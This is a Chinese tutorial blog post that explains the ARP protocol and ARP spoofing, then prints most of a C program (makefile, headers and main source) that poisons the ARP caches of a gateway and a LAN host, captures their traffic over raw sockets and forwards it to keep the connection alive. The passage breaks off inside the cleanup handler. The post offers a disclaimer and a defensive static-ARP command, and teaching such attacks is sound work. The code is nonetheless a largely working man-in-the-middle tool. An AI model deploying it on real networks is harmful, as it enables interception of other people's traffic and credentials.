您的位置:首页 > 理论基础 > 计算机网络

网络协议学习之局域网监听技术

2014-06-11 21:07 267 查看
ARP即地址解析协议,用于处理主机之间获取MAC地址与IP地址的映射问题。

    若主机A和主机B通讯。当A主机网络层数据交给数据链路层时,数据就被数据链路层封装为MAC帧,MAC帧需要知道目的主机B的MAC地址。

于是在目的B的MAC未知的情况下,A主机数据链路层会向局域网广播一个ARP广播,广播的内容类似于"请问ip地址为aaaa的主机是谁,

请告诉我(IP bbbb,MAC bbbbbb)你的MAC地址",以寻求目的主机的MAC地址,目的主机收到ARP请求报文后,若发现是询问自己的硬件地

址,那么该主机首先会将源主机的MAC-IP记录在自己的ARP告诉缓存表中,然后向请求主机发送一份ARP单播应答报文,内容类似于"我是

aaaa,我的MAC是aaaaaa"。源主机A收到应答后遍得到了B的硬件地址,于是将B的MAC-IP存入自己的ARP高速缓存中,以便下次使用,然后

主机A用该硬件地址填充数据帧的相应部分,再将该帧数据发送出去。

    这便是一个描述ARP协议的大致过程,其细节后面的文章会讲解。

关于ARP缓存更新的条件,前面一篇《ARP缓存表的更新条件》已经介绍过。本文接下来介绍的是一种基于ARP协议的局域网监听技术。

主机在接收到请求或者应答的时候都可能添加或者更新ARP条目,若通过给目的主机发送错误的ARP请求或者应答那么目的主机将会保存

着错误的ARP条目,这样一来,将会导致目的主机的通讯受阻甚至被发送到错误的主机上,ARP欺骗攻击由此而来。ARP欺骗的手段有很多,有的可以使某一台计算机无法上网,或者整个局域网的主机都无法上网,有的可以截获用户密码,如FTP用户名与口令,有的可以DNS劫持,用户访问的网站域名被重定向到一个钓鱼网站等等。

    ARP攻击的危害性很大,目前为止没有一个完美的解决方案来处理ARP攻击,但是当您发现自己被攻击时,如主机与网关断开了,则可以通过一条简单的命令来恢复上网,即设置静态ARP条目:

    arp -s x.x.x.x xx:xx:xx:xx:xx:xx

x.x.x.x是网关IP,xx:xx:xx:xx:xx:xx是网关mac地址,静态的arp条目是不会被更新的。

    下面这个程序演示了通过给网关G和局域网内一台主机A发送错误的ARP请求或者应答报文,使之保存错误的ARP条目,二者之间的流量被重定位到另一台主机B,该主机可以分析网关G与主机A的数据,从而实现数据监听。该程序还能转发网关与主机A之间的数据,使二者之间的通讯不中断。

/* 声明:

 *     本程序使用Linux原始套接字,抓取数据链路层数据帧,实现监听截获局域网内两台主机之间或者局域

 * 网内一台主机与网关之间的通讯,并实现数据转发功能,主要用于网络抓包技术及网络通讯协议的学习、实践。

 * 您可以自由的使用,复制,修改和重新发布程序的源代码,但不提倡用于非法目的,如将本程序完善以用用盗

 * 取密码等机密信息。因非法使用本程序源码造成的后果,您应该独立承担法律责任。

 * 作者:Shifang Wen

 * 邮箱:772148609@qq.com

 * 最后修改时间:2014.6.11

 */

#makefile for listener.

main:main.o arp.o ip.o tcp.o udp.o

    cc -lpthread -o main main.o arp.o ip.o tcp.o udp.o

main.o:main.c header.h ip.h tcp.h udp.h

    cc  -c main.c

arp.o:arp.c header.h

    cc -Wall -c arp.c

ip.o:ip.c header.h ip.h

    cc -Wall -c ip.c

tcp.o:tcp.c header.h tcp.h

    cc -Wall -c tcp.c

udp.o:udp.c header.h udp.h

    cc -Wall -c udp.c

clean:

    rm *.o

/** header file for main.c

 *  this file include the system header file neccessarily.

 *  2014.5.25

 */

#ifndef _HEADER_FILE

#define _HEADER_FILE

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <error.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/if_ether.h>

#include <linux/tcp.h>

#include <netpacket/packet.h>

#include <net/if_arp.h>

#include <net/ethernet.h>

#include <arpa/inet.h>

#include <net/if.h>

#include <pthread.h>

#include <signal.h>

#endif

/*

 * header file for ip.c

 * 2014.5.16

 */

#ifndef _IP_H

#define _IP_H

struct _ip                // IP报头结构(字节顺序为小端)

{

    unsigned char ihl:4;        // 首部长度

    unsigned char version:4;    // 协议版本

    unsigned char ser_type;        // 服务类型

    unsigned short total_len;    // 总长度

    unsigned short id;        // 分段标识

    unsigned short frag_off;    // 分段偏移

    unsigned char ttl;        // 生存时间

    unsigned char protocol;        // 上层协议

    unsigned short check;        // 检验和

    unsigned char saddr[4];        // 源IP

    unsigned char daddr[4];        // 目的IP

}__attribute__((packed));

extern void print_ip_header(const struct _ip* ptr_ip);

#endif   

/**

 * source file ip.c,provide some moth to print ip header info.

 * 2014.5.29

 */

#include "header.h"

#include "ip.h"

/**

 * 打印 IP 包头部字段

 * 参数表:

 * ip 指向ip首部的指针

 * 返回值:无

 */

void print_ip_header(const struct _ip * ip)

{

    printf("-----ip header-----------------------------\n");

    printf("ip version    :%x\n",ip->version);

    printf("ip header len   :%x\n",ip->ihl);

    printf("ip total_len    :%u\n",ntohs(ip->total_len));

    printf("id        :%u\n",ntohs(ip->id));

    printf("protocol    :%u\n",ip->protocol);

    printf("check        :%u\n",ip->check);

    printf("%d.%d.%d.%d ---->  ",ip->saddr[0],ip->saddr[1],ip->saddr[2],ip->saddr[3]);

    printf("%d.%d.%d.%d.\n",ip->daddr[0],ip->daddr[1],ip->daddr[2],ip->daddr[3]);

}

/**

 * 声明一个函数,该函数用户打印arp数据帧的各个字段值。

 * 2014.6.6

 */

#ifndef _ARP_H

#include "header.h"

#define arpsha arp->arp_sha

#define arpspa arp->arp_spa

#define arptha arp->arp_tha

#define arptpa arp->arp_tpa

extern void  print_arp_packet(const struct ether_arp*);

#endif

/**

 * 定义一个函数,该函数用户打印arp数据帧的各个字段值。

 * 2014.6.6

 */

#include "header.h"

#include "arp.h"

void print_arp_packet(const struct ether_arp * arp)

{

    printf("----arp packet--------------------\n");

   

    printf("arp ar_hdr    : %u\n",ntohs(arp->ea_hdr.ar_hrd));

    printf("arp ar_pro     : %.4x\n",ntohs(arp->ea_hdr.ar_pro));

    printf("arp ar_hln    : %u\n",arp->ea_hdr.ar_hln);

    printf("arp ar_pln    : %u\n",arp->ea_hdr.ar_pln);

    printf("arp ar_op_type  : %.2x\n",ntohs(arp->ea_hdr.ar_op));

    printf("arp sha        : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arpsha[0],arpsha[1],arpsha[2],arpsha[3],arpsha[4],arpsha[5]);

    printf("arp spa        : %d.%d.%d.%d\n",arpspa[0],arpspa[1],arpspa[2],arpspa[3]);

    printf("arp tha        : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arptha[0],arptha[1],arptha[2],arptha[3],arptha[4],arptha[5]);

    printf("arp tpa        : %d.%d.%d.%d\n",arptpa[0],arptpa[1],arptpa[2],arptpa[3]);

}

/**

 * headar file for udp.c

 * 2014.5.28

 */

#ifndef _UDP_H

#define _UDP_H

struct _udp

{

    unsigned short source_port;    // 16位源端口

    unsigned short dest_port;    // 16位目的端口

    unsigned short packet_len;    // 16位报文长度

    unsigned short check_sum;    // 16位检验和

}__attribute__((packed));

extern void print_udp_header(const struct _udp * ptrdup);

#endif

/**

 * source file .

 * 2014.5.28

 */

#include "header.h"

#include "udp.h"

void print_udp_header(const struct _udp* ptrudp)

{

    printf("----udp header----\n");

    printf("source port     :%u\n",ntohs(ptrudp->source_port));

    printf("dest   port     :%u\n",ntohs(ptrudp->dest_port));

    printf("packet_len    :%u\n",ntohs(ptrudp->packet_len));

    printf("check_sum    :%u\n",ntohs(ptrudp->check_sum));

}

/*

 * header file that define tcp protocol header.

 * 2014.5.20

 */

#ifndef _TCP_H

#define _TCP_H

struct _tcp

{

    unsigned short source_p;    // 16位源端口

    unsigned short dest_p;        // 16位目的端口

    unsigned int seq;        // 32位序列列号

    unsigned int ack_seq;        // 32位确认号

    unsigned short res1:4;        // 4位保留

    unsigned short h_length:4;    // 4位首部长度

    unsigned short fin:1;        // 释放TCP连接位

    unsigned short syn:1;        // 同步序号,用于发起连接

    unsigned short rst:1;        // 重置或者拒绝一个连接

    unsigned short psh:1;        // 若被置位则数据立即交付,无需缓冲

    unsigned short ack:1;        // 若被置一表明ack_seq有效

    unsigned short urg:1;        // 若被置一表明紧急指针有效

    unsigned short res:2;        // 2位保留位

    unsigned short window;        // 16位窗口大小

    unsigned short check;        // 16位TCP报文检验和

    unsigned short urg_ptr;        // 16位紧急指针

}__attribute__((packed));

extern void print_tcp_header(const struct _tcp *tcp);

#endif

/**

 * source tcp.h

 * use to print tcp header structure.

 * 2014.5.26

 */

#include "header.h"

#include "tcp.h"

void print_tcp_header(const struct _tcp *tcp)

{

    printf("-----tcp header----------------\n");   

    printf("source port     :%u\n",ntohs(tcp->source_p));

    printf("destinator port :%u\n",ntohs(tcp->dest_p));

    printf("seq        :%u\n",ntohl(tcp->seq));

    printf("ack_seq            :%u\n",ntohl(tcp->ack_seq));

    printf("header length   :%u\n",tcp->h_length);

    printf("urg        :%u\n",tcp->urg);

    printf("ack        :%u\n",tcp->ack);

    printf("psh         :%u\n",tcp->psh);

    printf("rst        :%u\n",tcp->rst);

    printf("syn        :%u\n",tcp->syn);

    printf("fin        :%u\n",tcp->fin);

    printf("window        :%u\n",ntohs(tcp->window));

    printf("check        :%u\n",ntohs(tcp->check));

    printf("urg_ptr        :%u\n",ntohs(tcp->urg_ptr));

}

/**

 * 程序主文件。

 */

#include "header.h"                    // 必要系统头文件

#include "arp.h"                    // 自定义ARP头文件

#include "ip.h"                        // 自定义IP头文件

#include "tcp.h"                    // 自定义TCP头文件

#include "udp.h"                    // 自定义UDP头文件

#define ETHER_BUF_LEN    60                // 不含CRC的以太网最小帧长度

#define BUFLEN 1500                    // MTU

#define INTER_LEN 32                    // 存放网络接口卡名称的缓冲区长度值

#define ethd eth->ether_dhost                // struct ether_header结构成员宏定义

#define eths eth->ether_shost

#define _DEBUG    1                    // 调试

/**

 * 线程参数结构

 */

struct thread_args{

    unsigned char interface_name[INTER_LEN];    // 网络接口名称

    unsigned char target_ip1[17];            // 目标机1的点分十进制的ip字串

    unsigned char target_ip2[17];            // 目标机2的点分十进制的ip字串

    unsigned char target_mac1[ETH_ALEN];        // 目标机1的mac地址

    unsigned char target_mac2[ETH_ALEN];        // 目标机2的mac地址

};

/**

 * 函数参数结构

 */

struct args{

    unsigned char src_mac[ETH_ALEN];        // 源mac

    unsigned char src_ip[4];            // 源IP

    unsigned char dst_ip[4];            // 目的IP

};

/**

 * 全局变量,主要是信号处理函数使用。

 */

unsigned char global_mac1[6],global_mac2[6],global_ip1[17],global_ip2[17];

unsigned char ifname[64];

int thread_stop = 0;

/**

 * struct ether_arp结构字段宏定义,简化访问。

 */

#define arpsha arp->arp_sha

#define arpspa arp->arp_spa

#define arptha arp->arp_tha

#define arptpa arp->arp_tpa

/**

 * 打印以太网帧头部字段。

 * 参数表:

 * buffer;指向以太网帧首部的指针。

 * 返回值:无。

 * 2014.5.26

 */

void print_ether_header(const char *buffer)

{

    struct ether_header *eth = (struct ether_header*) buffer;

   

    printf("-----ether frame header-------------\n");

    printf("ether_header dst mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);

    printf("ether_header src mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);

    printf("ether_header    type: %.4x\n",ntohs(eth->ether_type));

}

/**

 * 功能:查看接收到的报文是否是arp报文,且是对本次请求的应答报文。

 * 参数表:

 * args_ptr:包含本地地址信息。

 * arp: 存放接收到的arp报文缓冲区指针。

 * 返回值:若匹配,返回0,不匹配返回-1.

 * 2014.6.11

 */

int arp_match(struct args*args_ptr,unsigned char *buffer)

{

    struct ether_header * eth = (struct ether_header*) buffer;

    struct ether_arp *arp = (struct ether_arp*)(buffer+sizeof(struct ether_header));

   

    if((ntohs(eth->ether_type) == 0x0806) && (ntohs(arp->ea_hdr.ar_op) == ARPOP_REPLY)){

        if((memcmp(args_ptr->src_mac,arp->arp_tha,ETH_ALEN) == 0)

         &&(memcmp(args_ptr->src_ip,arp->arp_tpa,4) == 0)

         &&(arp->ea_hdr.ar_op == htons(ARPOP_REPLY))){

        #ifdef _DEBUG

            printf("match sucessful\n");

        #endif

            return 0;   

        }

    }

    return -1;

}

/**

 *  发送arp请求获取目标主机的mac地址。

 *  参数表:

 *  net_dev_name:网络接口名称。

 *  remote_ip:要获取mac地址的主机ip地址。

 *  remote_mac:出口参数,若函数成功,该参数被赋值。

 *  返回值:0成功,-1失败。

 */

int get_mac_by_ip(char *net_dev_name,char *remote_ip,char *remote_mac)

{   

    int sockfd,num;

    unsigned char sendbuffer[ETHER_BUF_LEN];

    unsigned char recvbuffer[ETHER_BUF_LEN];

    struct sockaddr_ll to;

    struct ifreq ifr;

    struct in_addr local_addr,target_addr;

    struct args arg;

    struct timeval timeout;

    timeout.tv_usec = 0;

    timeout.tv_sec = 1;

   

    struct ether_header * eth = (struct ether_header *) sendbuffer;   

    struct ether_arp * arp = (struct ether_arp *) (sendbuffer + sizeof(struct ether_header));

    struct ether_header * ethr = (struct ether_header*) recvbuffer;

    struct ether_arp * arpr = (struct ether_arp*) (recvbuffer + sizeof(struct ether_header));

    unsigned char src_mac[ETH_ALEN];

    unsigned char dst_mac[]={0xff,0xff,0xff,0xff,0xff,0xff};

   

    bzero(&to,sizeof(to));

    bzero(&ifr,sizeof(ifr));

    bzero(&local_addr,sizeof(local_addr));

    bzero(&target_addr,sizeof(target_addr));

    strcpy(ifr.ifr_name,net_dev_name);

    sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));

    if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){

        perror("get dev index error");

        exit(1);

    }

   

    /**

      *设置接收超时为1秒

     */

    if(setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&timeout,sizeof(timeout)) == -1){

        perror("setsockopt error");

        exit(1);

    }

    to.sll_ifindex = ifr.ifr_ifindex;

    bind(sockfd,(struct sockaddr*)& to,sizeof(to));

    if(ioctl(sockfd,SIOCGIFADDR,&ifr) == -1){

        perror("get dev ip error");

        exit(1);

    }

   

    local_addr.s_addr = ((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr;

    inet_pton(AF_INET,remote_ip,&(target_addr.s_addr));

    printf("target ip :%s\n",inet_ntoa(target_addr));

    printf("local ip address %s\n",inet_ntoa(local_addr));

    if(ioctl(sockfd,SIOCGIFHWADDR,&ifr) == -1){

        perror("get dev mac error");

        exit(1);

    }

    memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);

    bind(sockfd,(struct sockaddr*)&to,sizeof(to));

    /**

      * 构造arp 请求包

      */

    memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);

    memcpy(eth->ether_shost,src_mac,ETH_ALEN);

    eth->ether_type = htons(ETHERTYPE_ARP);

   

    arp->arp_hrd = htons(ARPHRD_ETHER);

    arp->arp_pro = htons(ETHERTYPE_IP);

    arp->arp_hln = ETH_ALEN;

    arp->arp_pln = 4;

    arp->arp_op = htons(ARPOP_REQUEST);

    memcpy(arp->arp_sha,src_mac,ETH_ALEN);   

    memcpy(arp->arp_spa,&local_addr,4);

    memset(dst_mac,0,ETH_ALEN);

    memcpy(arp->arp_tha,dst_mac,ETH_ALEN);

    memcpy(arp->arp_tpa,&target_addr,4);

    /**

      * 初始化一个参数结构体成员

      */

    memcpy(&arg.src_mac,src_mac,ETH_ALEN);

    memcpy(&arg.src_ip,&local_addr,4);

    memcpy(&arg.dst_ip,&target_addr,4);

    int count = 0,recv_try = 0,found = 0;

    /**

      * 最多尝试十次发送ARP请求报文.

      */

    while(count < 10 && found != 1){

        print_ether_header(sendbuffer);

        print_arp_packet((struct ether_arp*)(sendbuffer+sizeof(struct ether_header)));

        num = sendto(sockfd,sendbuffer,ETHER_BUF_LEN,0,(struct sockaddr*)&to,sizeof(to));

        if(num < 0){

            perror("send error");

            return 1;

        }

        else

            printf("send num = %d count = %d\n",num,count);

        /**

          * 最多尝试5次接收报文,若5次接收的报文不是对应的应答包,则继续发送ARP请求包。

          */

       

        while(recv_try < 5){

            num = recvfrom(sockfd,recvbuffer,ETHER_BUF_LEN,0,NULL,NULL);   

            if(num < 0){

                perror("recv error");

                recv_try ++;

                continue;

            }else

                printf("received %d byte(s) ,recv_try is %d\n",num,recv_try);

            printf("ether_frame header-----------\n");   

            printf("ether dst mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\

            ethr->ether_dhost[0],ethr->ether_dhost[1],ethr->ether_dhost[2],\

            ethr->ether_dhost[3],ethr->ether_dhost[4],ethr->ether_dhost[5]);

            printf("ether src mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\

            ethr->ether_shost[0],ethr->ether_shost[1],ethr->ether_shost[2],\

            ethr->ether_shost[3],ethr->ether_shost[4],ethr->ether_shost[5]);

            printf("ether type :%.4x\n",ntohs(ethr->ether_type));

            print_arp_packet((struct ether_arp*)(recvbuffer+sizeof(struct ether_header)));

            if(arp_match(&arg,recvbuffer) == 0){

                memcpy(remote_mac,arpr->arp_sha,ETH_ALEN);

                count++;

                /**

                  * 尝试多次请求应答,测试程序的稳定性.

                  */

                 found = 1;

                 break;

                   

            }

           

            recv_try++;

        }

   

        count++;

        recv_try = 0;

    }   

   

   

    close(sockfd);

    if(found == 1)

        return 0;

           return -1;

 }

/**

 * 线程体,定时向目标IP发送 ARP 欺骗的应答报文。

 * 参数表:struct thread_args结构提指针。

 * 返回值:无。

 * 2014.5.24

 */

void *thread_attack(void* args)

{

    struct thread_args * p = (struct thread_args*) args;

    int socketfd,n;

    struct sockaddr_ll toaddr;

    struct in_addr sockaddr;

    struct ifreq ifr;

    unsigned char buffer[ETHER_BUF_LEN];

    unsigned char src_mac[ETH_ALEN];

    struct in_addr in_addr1,in_addr2;

    struct ether_header * eth = (struct ether_header*) buffer;

    struct ether_arp * arp = (struct ether_arp*) (buffer+sizeof(struct ether_header));

    bzero(&toaddr,sizeof(toaddr));

    bzero(&sockaddr,sizeof(sockaddr));

    bzero(&ifr,sizeof(ifr));

    strcpy(ifr.ifr_name,p->interface_name);

    bzero(&in_addr1,sizeof(in_addr1));

    bzero(&in_addr2,sizeof(in_addr2));

    inet_pton(AF_INET,p->target_ip1,&in_addr1);

    inet_pton(AF_INET,p->target_ip2,&in_addr2);

    socketfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));

    if(socketfd == -1){

        perror("thread_attack create socket error");

        exit(1);

    }

   

    if(ioctl(socketfd,SIOCGIFINDEX,&ifr) == -1){

        perror("get interface index error");

        exit(1);

    }

    toaddr.sll_ifindex = ifr.ifr_ifindex;

    toaddr.sll_family = PF_PACKET;

   

    if(ioctl(socketfd,SIOCGIFHWADDR,&ifr) == -1){

        perror("get interface hardware addr error");

        exit(1);

    }

   

    memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);

    while(thread_stop != 1){

        /**

          * 构造以太网头,目标MAC地址为目标主机1的MAC地址,源MAC地址为本机MAC地址。

          */

        memcpy(eth->ether_dhost,p->target_mac1,ETH_ALEN);

        memcpy(eth->ether_shost,src_mac,ETH_ALEN);

        eth->ether_type = htons(ETHERTYPE_ARP);

   

        /**

           * 构造ARP 包

           */

        arp->arp_hrd = htons(ARPHRD_ETHER);

        arp->arp_pro = htons(ETHERTYPE_IP);

        arp->arp_hln = ETH_ALEN;

        arp->arp_pln = 4;

        arp->arp_op = htons(ARPOP_REPLY);

        memcpy(arp->arp_sha,src_mac,ETH_ALEN);

        memcpy(arp->arp_spa,&in_addr2,4);

        memcpy(arp->arp_tha,p->target_mac1,ETH_ALEN);

        memcpy(arp->arp_tpa,&in_addr1,4);       

        /**

           * 发送到目标机1

           */

        n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));

        if(n < 0){

            perror("sendto");

        }else{

            printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr1));

        }

        /**

          * 调试代码

          */

        /*

        printf("打印欺骗ARP包:\n");   

        print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header)));

        */

        /**

          * 构造以太网头,目标MAC地址为目标主机2的MAC地址,源MAC地址为本机MAC地址。

          */

        memcpy(eth->ether_dhost,p->target_mac2,ETH_ALEN);

        memcpy(eth->ether_shost,src_mac,ETH_ALEN);

        eth->ether_type = htons(ETHERTYPE_ARP);

   

        /**

           * 构造ARP 包

           */

        arp->arp_hrd = htons(ARPHRD_ETHER);

        arp->arp_pro = htons(ETHERTYPE_IP);

        arp->arp_hln = ETH_ALEN;

        arp->arp_pln = 4;

        arp->arp_op = htons(ARPOP_REPLY);

   

        memcpy(arp->arp_sha,src_mac,ETH_ALEN);

        memcpy(arp->arp_spa,&in_addr1,4);

        memcpy(arp->arp_tha,p->target_mac2,ETH_ALEN);

        memcpy(arp->arp_tpa,&in_addr2,4);       

        /**

           * 发送到目标机2

           */

        n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));

        if(n < 0){

            perror("sendto");

        }else{

            printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr2));

        }

        /**

          * 调试代码

          */

        /*

        printf("打印欺骗ARP包:\n");   

        print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header)));

        */

        sleep(1);

    }

    printf("攻击线程以停止。。。+++++++++++++++++++++++++++++++++++++++++++++。\n");

}

/**

 * 数据包转发函数,根据源MAC,目的MAC向指定接口转发该数据包。

 * 参数表:

 * inter:指定的网络接口。

 * dst_mac:目的MAC地址。

 * ip_data:ip数据。

 * send_num:数据包长度。

 * 返回值:成功0,失败-1。

 */

int packet_forwarding(const char *inter,char *dst_mac,const char *ip_data,const int send_num)

{

    char buffer[BUFLEN] = {0};

    int sendfd,num;

    struct sockaddr_ll toaddr;

    struct ifreq ifr;

    struct ether_header * eth = (struct ether_header*) buffer;    /* 指针eth指向以太网首部 */

    memcpy(buffer,ip_data,send_num);

   

    unsigned char local_mac[ETH_ALEN];

    static unsigned int count = 0;

    static unsigned int total_bytes = 0;

    bzero(&toaddr,sizeof(toaddr));

    bzero(&ifr,sizeof(ifr));   

    strcpy(ifr.ifr_name,inter);

    sendfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP));

    if(sendfd == -1){

        perror("packet_forwarding create socket error");

        exit (1);

    }

    if(ioctl(sendfd,SIOCGIFINDEX,&ifr) == -1){

        perror("packet_forwarding get interface index error");

        exit (1);

    }

    toaddr.sll_ifindex = ifr.ifr_ifindex;

    if(ioctl(sendfd,SIOCGIFHWADDR,&ifr) == -1){

        perror("packet_forwarding get interface hardware error");

        exit(1);

    }

    memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);

    toaddr.sll_family = AF_PACKET;

   

    /**

      * 修改以太网帧头部目的MAC和源MAC两个字段。

      */

    memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);

    memcpy(eth->ether_shost,local_mac,ETH_ALEN);

    /**

      * 转发IP数据包

      */

    printf("打印转发包数据:\n");

    print_ether_header(buffer);

    print_ip_header((struct _ip *) (buffer+sizeof(struct ether_header)));

    if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0x06)

        print_tcp_header((struct _tcp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip)));

    if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0xa1)

        print_udp_header((struct _udp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip)));

   

    num = sendto(sendfd,buffer,send_num,0,(struct sockaddr*)&toaddr,sizeof(toaddr));

    if(num <= 0){

        perror("packet_forwarding sendto error");

        return -1;

    }

    total_bytes += num;   

    printf("+++++++++++++++++++++++++++++++++++++    packet_forwarding ip packet %d byte(s),"\

         "total %u packet(s),and %u byte(s)\n",num,++count,total_bytes);

    close(sendfd);

    return 0;

}

/**

 * 监听函数,用于截获目标机之间的IP数据报,并调用相关函数执行转发。

 * 参数表:

 * interface_name:网络接口名。

 * target_ip1:目标主机1 IP地址。

 * target_ip2:目标主机2 IP地址。

 * mac1:目标主机1 mac地址。

 * mac2:目标主机2 mac地址。

 * 返回值:无。

 */

int attack_listen(const char *interface_name,char *target_ip1,char *target_ip2,unsigned char *mac1,unsigned char*mac2)

{

    int listenfd,num;

    struct sockaddr_ll fromaddr;

    struct in_addr sockaddr;

    struct ifreq ifr;

    unsigned char buffer[BUFLEN];

    struct ether_header * eth = (struct ether_header*) buffer;

    struct _ip * ip = (struct _ip*) (buffer+sizeof(struct ether_header));

    struct in_addr in_addr1,in_addr2,in_addr_local;

    unsigned char local_mac[ETH_ALEN]={0};

    bzero(&fromaddr,sizeof(struct sockaddr_ll));

    bzero(&sockaddr,sizeof(sockaddr));

    bzero(&ifr,sizeof(ifr));

    strcpy(ifr.ifr_name,interface_name);

    bzero(&in_addr1,sizeof(in_addr1));

    bzero(&in_addr2,sizeof(in_addr2));

   

    inet_pton(AF_INET,target_ip1,&in_addr1);

    inet_pton(AF_INET,target_ip2,&in_addr2);

    listenfd = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_IP));

    if(listenfd == -1){

        perror("thread_attack create socket error");

        exit(1);

    }

   

    if(ioctl(listenfd,SIOCGIFINDEX,&ifr) == -1){

        perror("get interface index error");

        exit(1);

    }

   

    if(ioctl(listenfd,SIOCGIFHWADDR,&ifr) == -1){

        perror("get interface hardware error");

        exit(1);

    }

    memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);

    if(ioctl(listenfd,SIOCGIFADDR,&ifr) == -1){

        perror("get interface addr error");

        exit(1);

    }

    in_addr_local.s_addr = ((struct sockaddr_in *)&(ifr.ifr_addr))->sin_addr.s_addr;

    fromaddr.sll_ifindex = ifr.ifr_ifindex;

    fromaddr.sll_family = PF_PACKET;

    fromaddr.sll_protocol = htons(ETH_P_IP);

    fromaddr.sll_hatype = ARPHRD_ETHER;

    fromaddr.sll_pkttype = PACKET_HOST;

    fromaddr.sll_halen = ETH_ALEN;

    bind(listenfd,(struct sockaddr*)&fromaddr,sizeof(struct sockaddr));

    printf("\n");

    while(1){

        memset(buffer,0,BUFLEN);

        num = recvfrom(listenfd,buffer,BUFLEN,0,NULL,NULL);

       

        /*printf("\nread %d bytes------------------\n",num);

        printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x--->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);

        printf("  %.2x:%.2x:%.2x:%.2x:%.2x:%.2x   ",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);

        printf("type %.4x\n",ntohs(eth->ether_type));*/

        if(ntohs(eth->ether_type) ==  0x0800){

            /*

              * 若接收到一个目的mac地址为本机, 源mac是主机一或者主机2,且目的IP不是本机的数据包,则,转发它。

              */

            if((memcmp(ethd,local_mac,ETH_ALEN) == 0) && (memcmp(ip->daddr,&in_addr_local,4) != 0)){

                if(memcmp(eths,mac1,ETH_ALEN) == 0 ){

                    printf("+++++++++++++++++++++++++++++++++++++++++         ");

                    printf("need to transfer a packet.!\n");

                    printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);

                    printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);

                    packet_forwarding(interface_name,mac2,buffer,num);

                }

                if(memcmp(eths,mac2,ETH_ALEN) == 0){

                    printf("+++++++++++++++++++++++++++++++++++++++++         ");

                    printf("need to transfer a packet.!\n");

                    printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);

                    printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);

                    packet_forwarding(interface_name,mac1,buffer,num);

                }

            }else

                printf("needless forwarding this packet------------------\n");

        }

    }

    return 0;

}

/**

 * SIGINT 信号处理函数,处理键盘Ctrl+C组合键。

 * 当按下Ctrl+C时,需要恢复两台目标主机正确的ARP缓存表,然后再退出本程序。

 * 说明,两种方式恢复,一是使用应答方式,二是是用请求方式,程序使用应答

 * 方式,但该函数没有成功,目标机没能更新到正确ARP缓存,尚未确定问题所在。

 * 2014.6.5

 */

void quit_handler(int signum)

{

    int sockfd;

    struct sockaddr_ll toaddr;

    struct ifreq ifr;

    unsigned char  buffer1[ETHER_BUF_LEN] = {0};   

    unsigned char  buffer2[ETHER_BUF_LEN] = {0};   

    struct in_addr in_addr1,in_addr2;

    bzero(&toaddr,sizeof(toaddr));

    bzero(&ifr,sizeof(ifr));

    bzero(&in_addr1,sizeof(in_addr1));

    bzero(&in_addr2,sizeof(in_addr2));

    inet_pton(AF_INET,global_ip1,&in_addr1);

    inet_pton(AF_INET,global_ip2,&in_addr2);

    strcpy(ifr.ifr_name,ifname);

   

    sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));

    if(sockfd == -1){

        perror("socket error");

        exit (1);

    }

   

    if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){

        perror("quit_handler get interface index error");

        exit (1);

    }

    toaddr.sll_ifindex = ifr.ifr_ifindex;

    toaddr.sll_family = PF_PACKET;

    toaddr.sll_protocol = htons(ETH_P_ARP);

    toaddr.sll_hatype = ARPHRD_ETHER;

    toaddr.sll_pkttype = PACKET_HOST;

    toaddr.sll_halen = ETH_ALEN;

    if(bind(sockfd,(struct sockaddr*)&toaddr,sizeof(toaddr)) == -1){

        perror("bind error");

        exit(1);

    }

    /**

      * 构造第一个arp报文

      */   

